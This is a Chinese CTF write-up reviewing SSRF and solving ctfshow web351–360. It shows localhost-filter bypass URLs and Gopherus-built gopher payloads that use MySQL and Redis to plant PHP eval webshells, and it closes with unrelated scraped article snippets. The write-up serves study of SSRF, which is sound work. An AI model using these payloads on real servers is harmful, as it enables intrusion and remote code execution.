当前位置: 首页 > news >正文

ssrf复习(及ctfshow351-360)

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

ssrf产生原理:

服务端存在网络请求功能/函数,例如:file_get_contens()这一类类似于curl

这种函数传入的参数用户是可控的

没有对用户输入做过滤导致的ssrf漏洞

ssrf利用:

用于探测内网服务以及端口

探针存活主机以及开放服务

探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码,  因为默认是没有密码的,  或者说开发者设置了密码但是是弱口令),  利用定时任务反弹shell

思维导图

Web351

代码解释:

<?php  

// 开启PHP的错误报告,但这里设置为0,即关闭所有错误报告。这通常不推荐在生产环境中使用,因为它会隐藏所有错误和警告。  

error_reporting(0);  

// 使用highlight_file函数高亮显示当前PHP文件的源代码。这通常用于教学或调试目的,但在生产环境中可能会暴露敏感信息。  

highlight_file(__FILE__);  

// 从POST请求中获取名为'url'的参数值,并将其存储在变量$url中。  

$url=$_POST['url'];  

// 初始化一个新的cURL会话,并将之前获取的URL作为参数传递给curl_init函数。  

$ch=curl_init($url);  

// 设置cURL选项,关闭cURL请求头信息的输出。这意味着cURL不会返回HTTP头部信息,只返回主体内容。  

curl_setopt($ch, CURLOPT_HEADER, 0);  

// 设置cURL选项,将CURLOPT_RETURNTRANSFER设置为1,这意味着cURL执行的结果(即请求的响应)将被作为字符串返回,而不是直接输出。  

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

// 执行cURL会话,并将结果存储在变量$result中。  

$result=curl_exec($ch);  

// 关闭cURL会话并释放所有资源。  

curl_close($ch);  

// 输出cURL请求的结果(即请求的响应内容)。  

echo ($result);  

?>

函数解释:

1.curl_init()   初始化cURL,返回资源给$ch

2.curl_setopt() 设置一个cURL传输选项

bool curl_setopt ( resource $ch , int $option , mixed $value )

参数一:curl资源 参数二:设置的请求选项 参数三:请求选项的值

CURLOPT_HEADER         启用时会将头文件的信息作为数据流输出。

URLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

3.curl_exec()执行cURL资源,并传递给浏览器

4.curl_close()关闭cURL资源

Payload

url=http://127.0.0.1/flag.php

Web352

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'或'127.0.0'(注意:这里只检查了'127.0.0'的前缀,没有完整的IP地址检查)  

    // 但是,preg_match函数的调用方式不正确,因为它没有指定完整的模式字符串和待匹配的字符串  

    // 正确的调用应该是preg_match('/localhost|127\.0\.0\./', $url)  

    if(!preg_match('/localhost|127.0.0/')){  

        // 如果URL通过了协议和本地地址的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'或'127.0.0'(尽管由于正则表达式的问题,这个检查可能不准确),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

正则绕过127.0.0.1

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1     简写

Ip地址转换器地址

IP地址进制转换本计算器可以在线进行IP地址的二进制、十六进制、十进制的互换。icon-default.png?t=N7T8https://tool.520101.com/wangluo/jinzhizhuanhuan/

Web353

匹配不包含 localhost 或以 127. 开头的 IP 地址(如 127.0.0.1)的 URL,您可以使用以下正则表达式

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1/flag.php   简写

Web354

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但这里的使用可能是错误的)  

    // 注意:这个正则表达式实际上会匹配任何包含'1'、'0'或'。'(后者可能是一个打字错误,意图可能是'.')的URL  

    if(!preg_match('/localhost|1|0|。/i', $url)){  

        // 如果URL通过了协议和正则表达式的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'、'1'、'0'或'。'(考虑到'。'可能是打字错误),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

法一

url=http://sudo.cc/flag.php

sudo.cc相当于127.0.0.1 

方法二(未解决)

302跳转

在自己的网站页面添加

<?php

header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三(未解决)

DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

Web355

if((strlen($host)<=5))

要求host长度小于5位

url=http://127.1/flag.php

Web356

if((strlen($host)<=3)){

要求长度小于3位

url=http://0/flag.php

# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

Web358

php复制代码

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

echo file_get_contents($url);

}

这段代码使用preg_match()函数来验证$url是否满足特定的正则表达式模式。这个

'^http:\/\/ctf\..*show$'意味着:

URL必须以http://开头。

紧接着必须是ctf.(不区分大小写,因为使用了i修饰符)。

然后是任意数量的任意字符(.表示任意字符,*表示前面的字符可以出现0次或多次)。

最后必须以show结尾。

如果URL满足这个模式,file_get_contents()函数将被调用,尝试获取该URL指向的内容,并将其输出到屏幕上。

payload:

url=http://ctf.@127.0.0.1/flag.php#show

url=http://ctf.@127.0.0.1/flag.php?show

Web359

登录抓包发现

u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

存在ssrf

Gopher协议打MySQL

具体原理:CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户

先下载Gopherus

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

python2 .\gopherus.py --exploit mysql

username:root

写入一句话木马

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

对_再进行url编码

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

Web360

Payload生成:

python2 gopherus.py --exploit redis

<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Url编码

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

相关文章:

ssrf复习(及ctfshow351-360)

1. SSRF 概述 服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL&#xff0c;Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。 如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤&#xff0c;就有可能存在“请求伪造"的缺陷…...

请求通过Spring Cloud Gateway 503

最近想处理一个通用的网关服务。 但是我在处理好所有配置的时候发现&#xff0c;网络请求过网关的时候&#xff0c;一直503&#xff0c;我所有的配置都没问题。 环境&#xff1a; JDK&#xff1a; 17 Spring Cloud: 2023.0.2 在 Spring Cloud Gateway 的早期版本中&#xff…...

C++代码_让室友坑我

引子 今天古文波在外地上C集训营&#xff0c;结果却被一起学习的室友坑了。啊&#xff0c;好气&#xff0c;我要报复室友。 所以&#xff0c;我写出了死亡代码。 如果你也想报复某些人&#xff0c;可以看下去。 代码构造&#xff1a; 头文件 想要使用一些函数&#xff0c;如…...

AG32 的MCU与FPGA的主频可以达到568MHz吗

Customers: AG32/ AGRV2K 这个芯片主频和定时器最高速度是多少&#xff1f;用户期望 CPLD计时器功能0.1ns以下。 AGM RE: CPLD做不到 0.1ns的速率&#xff0c;这个需要10G以上的时钟。 那AGRV2K最高多少MHz呢&#xff1f; 一般200MHZ比较容易实现。 进一步说明&#xff1…...

怎样减少视频的容量 怎样减少视频内存保持清晰度

在数字媒体时代&#xff0c;视频内容已经成为人们日常交流和信息传递的重要方式。然而&#xff0c;视频往往占用大量存储空间&#xff0c;给我们的设备带来不小的负担。如何在不损失视频质量的前提下&#xff0c;减少视频文件的大小呢&#xff1f;本文将为你揭秘几个实用的技巧…...

谈一谈一条SQL的查询、更新语句究竟是如何执行的?

文章目录 理解执行流程衍生知识redo logbinlog 本篇文章是基于《MySQL45讲》来写的个人理解与感悟。 理解 先看下图&#xff1a; 上一篇文章我们讨论了一条SQL查询语句的执行流程&#xff0c;并介绍了执行过程中涉及的处理模块。 回顾一下&#xff1a; 大体来说&#xff0c;…...

自动驾驶AVM环视算法–全景和标定全功能算法实现和exe测试demo

参考&#xff1a;全景和标定全功能算法实现和exe测试demo-金书世界 1、测试环境 opencv310vs2022 2、使用的编程语言 c和c 3、测试的demo的获取 更新&#xff1a;测试的exe程序&#xff0c;无需解压码就可以体验算法测试效果 百度网盘&#xff1a; 链接&#xff1a;http…...

【Docker 系列】学习路线

学习基本概念&#xff1a; 了解容器化与虚拟化的区别了解Docker的基本概念、术语和架构 安装Docker&#xff1a; 根据所使用的操作系统&#xff0c;安装Docker Desktop&#xff08;Windows、macOS&#xff09;或Docker Engine&#xff08;Linux&#xff09; Docker镜像&#xf…...

蓝色系信息工作室建站网站源码系统 带模版手机端 带完整的源代码包以及搭建部署教程

系统概述 信息工作室建站网站源码系统是一款专为追求高效、灵活与个性化建站需求的用户设计的综合性平台。该系统不仅提供了丰富的网站构建模块和预设模版&#xff0c;还支持手机端自适应布局&#xff0c;确保网站在不同设备上都能展现出最佳效果。此外&#xff0c;系统附带完…...

什么是带宽限制,如何影响服务器数据传输?

什么是带宽限制? 带宽限制是指网络连接中的数据传输速率上限&#xff0c;通常以每秒传输的数据量(比特或字节)来衡量。例如&#xff0c;一个服务器的带宽限制为100 Mbps&#xff0c;意味着它在理想情况下每秒最多能传输100兆比特的数据。带宽限制由网络服务提供商或数据中心设…...

RISC-V在线反汇编工具

RISC-V在线反汇编工具&#xff1a; https://luplab.gitlab.io/rvcodecjs/#q34179073&abifalse&isaAUTO 不过&#xff0c;似乎&#xff0c;只支持RV32I、RV64I、RV128I指令集&#xff1a;...

从零手写实现 nginx-32-load balance 负载均衡算法 java 实现

前言 大家好&#xff0c;我是老马。很高兴遇到你。 我们为 java 开发者实现了 java 版本的 nginx https://github.com/houbb/nginx4j 如果你想知道 servlet 如何处理的&#xff0c;可以参考我的另一个项目&#xff1a; 手写从零实现简易版 tomcat minicat 手写 nginx 系列 …...

基于STC89C51单片机的烟雾报警器设计(煤气火灾检测报警)(含文档、源码与proteus仿真,以及系统详细介绍)

本篇文章论述的是基于STC89C51单片机的烟雾报警器设计的详情介绍&#xff0c;如果对您有帮助的话&#xff0c;还请关注一下哦&#xff0c;如果有资源方面的需要可以联系我。 目录 摘要 原理图 实物图 仿真图 元件清单 代码 系统论文 资源下载 摘要 随着现代家庭用火、…...

SpringBoot整合阿里云RocketMQ对接,商业版

1.需要阿里云开通商业版RocketMQ 普通消息新建普通主题,普通组,延迟消息新建延迟消息主题,延迟消息组 2.结构目录 3.引入依赖 <!--阿里云RocketMq整合--><dependency><groupId>com.aliyun.openservices</groupId><artifactId>ons-client</…...

modbus slave 设备通过 网关thingsboard-gateway 将数据上传到thingsboard云平台

搭建thingsboard物联网云平台花了大量时间&#xff0c;从小白到最后搭建成功&#xff0c;折磨了好几天&#xff0c;也感谢网友的帮助&#xff0c;提供了思路最终成功搞定&#xff0c;特此记录。 一、thingsboard环境搭建&#xff08;Ubuntu20.04LTS&#xff09; 参考官方文档&a…...

安全防御:智能选路

目录 一、智能选路 1.1 就近选路 1.2 策略路由 1.3 虚拟系统---VRF 二、全局选路策略 1&#xff0c;基于链路带宽进行负载分担 2&#xff0c;基于链路质量进行负载分担 3&#xff0c;基于链路权重的负载分担 4&#xff0c;根据链路优先级的主备备份 DNS透明代理 一、…...

Gitee使用教程2-克隆仓库(下载项目)并推送更新项目

一、下载 Gitee 仓库 1、点击克隆-复制代码 2、打开Git Bash 并输入复制的代码 下载好后&#xff0c;找不到文件在哪的可以输入 pwd 找到仓库路径 二、推送更新 Gitee 项目 1、打开 Git Bash 用 cd 命令进入你的仓库&#xff08;我的仓库名为book&#xff09; 2、添加文件到 …...

Postfix+Dovecot+Roundcube开源邮件系统搭建系列1-2:系统搭建目标+MariaDB数据库配置(MySQL)

1. 系统搭建目标 通过本系列文章&#xff0c;最终可以部署一套提供如下服务的邮件系统&#xff1a; SMTP服务&#xff1a;由Postfix提供&#xff0c;监听25、465、587端口。POP3服务&#xff1a;由Dovecot提供&#xff0c;监听110、995端口。IMAP服务&#xff1a;由Dovecot提…...

Flower花所比特币交易及交易费用科普

在加密货币交易中&#xff0c;选择一个可靠的平台至关重要。Flower花所通过提供比特币交易服务脱颖而出。本文将介绍在Flower花所进行比特币交易的基础知识及其交易费用。 什么是Flower花所&#xff1f; Flower花所是一家加密货币交易平台&#xff0c;为新手和资深交易者提供…...

1个Xpath定位可以在Web页面查找到多个元素Selenium

1个Xpath定位可以在Web页面查找到多个元素Selenium//input[id\"transactionId\"] 打开Web页面&#xff0c; 点击F12可以看到压面 点击Ctrl F 可以点图如下图的输入框&#xff0c;输入xpath&#xff0c;看右侧可以找到3个对应的元素 点击Ctrl F 点击Ctrl F 点…...

【网络】每天掌握一个Linux命令 - iftop

在Linux系统中&#xff0c;iftop是网络管理的得力助手&#xff0c;能实时监控网络流量、连接情况等&#xff0c;帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录

ASP.NET Core 是一个跨平台的开源框架&#xff0c;用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录&#xff0c;以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​&#xff1a; 下载安装DevEco Studio 4.0&#xff08;支持HarmonyOS 5&#xff09;配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​&#xff1a; ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南

文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/55aefaea8a9f477e86d065227851fe3d.pn…...

Typeerror: cannot read properties of undefined (reading ‘XXX‘)

最近需要在离线机器上运行软件&#xff0c;所以得把软件用docker打包起来&#xff0c;大部分功能都没问题&#xff0c;出了一个奇怪的事情。同样的代码&#xff0c;在本机上用vscode可以运行起来&#xff0c;但是打包之后在docker里出现了问题。使用的是dialog组件&#xff0c;…...

#Uniapp篇:chrome调试unapp适配

chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器&#xff1a;Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

面试高频问题

文章目录 &#x1f680; 消息队列核心技术揭秘&#xff1a;从入门到秒杀面试官1️⃣ Kafka为何能"吞云吐雾"&#xff1f;性能背后的秘密1.1 顺序写入与零拷贝&#xff1a;性能的双引擎1.2 分区并行&#xff1a;数据的"八车道高速公路"1.3 页缓存与批量处理…...

JS红宝书笔记 - 3.3 变量

要定义变量&#xff0c;可以使用var操作符&#xff0c;后跟变量名 ES实现变量初始化&#xff0c;因此可以同时定义变量并设置它的值 使用var操作符定义的变量会成为包含它的函数的局部变量。 在函数内定义变量时省略var操作符&#xff0c;可以创建一个全局变量 如果需要定义…...

webpack面试题

面试题&#xff1a;webpack介绍和简单使用 一、webpack&#xff08;模块化打包工具&#xff09;1. webpack是把项目当作一个整体&#xff0c;通过给定的一个主文件&#xff0c;webpack将从这个主文件开始找到你项目当中的所有依赖文件&#xff0c;使用loaders来处理它们&#x…...